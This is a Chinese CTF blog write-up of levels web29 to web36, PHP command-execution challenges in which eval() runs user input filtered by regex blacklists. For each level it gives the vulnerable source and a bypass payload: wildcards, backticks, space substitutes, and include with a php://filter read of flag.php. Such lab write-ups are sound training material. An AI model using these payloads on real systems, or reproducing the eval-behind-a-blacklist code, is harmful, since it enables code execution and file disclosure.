shng


[CTF] [命令执行]web29-36

Web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

肥肠简单的一个命令执行,绕过flag黑名单就行,可以使用linux的通配符*

payload:?c=system('cat fla*');

需要注意的是这个flag并不会回显,需要查看源代码才能够看到(这里还卡了半天)。

Web30

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

这次ban掉了system()函数,所以换一个函数就好

payload:?c=echo `cat fla*`;

Web31

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

这次ban掉了cat,还有空格、.这些常用的命令和字符,所以要考虑空格的绕过。

空格的绕过方法也是老生常谈了(虽然到现在我都没记几个,呜呜我真是个废物)

在linux 空格可以用以下字符串代替:
 %09(tab)、$IFS$9、 $、{IFS}、$IFS%09(tab)、< 、<>、%20(space)等
 // 抄自羽师傅博客
payload:?c=echo%09`more%09fla*`; //也可以把%09换成其他 more换成less

Web32

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

又ban掉了`,echo,还有括号,这时候就要想php中不适用括号的函数了

echo
print
die
include
require
include_once
require_once

这题不会做,去网上看师傅们的wp,发现是使用include写进去马,然后用伪协议读取文件(呜呜)。

payload:?c=include"$_POST[noob]"?>
noob=php://filter/read=convert.base64-encode/resource=flag.php

load地址的时候,要把?c=include"$_POST[noob]"?>加上

Web33

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

过滤了双引号 用上一道题的payload去除双引号即可

payload:?c=include$_POST[noob]?>
noob=php://filter/read=convert.base64-encode/resource=flag.php

Web34

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

过滤了:,然而并没有什么卵用

payload:?c=include$_POST[noob]?>
noob=php://filter/read=convert.base64-encode/resource=flag.php

Web35

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

过滤了<,然而并没有什么卵用

payload:?c=include$_POST[noob]?>
noob=php://filter/read=convert.base64-encode/resource=flag.php

Web36

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

过滤了数字,然而并没有什么卵用

payload:?c=include$_POST[noob]?>
noob=php://filter/read=convert.base64-encode/resource=flag.php
豫ICP备20003564号-1 / shng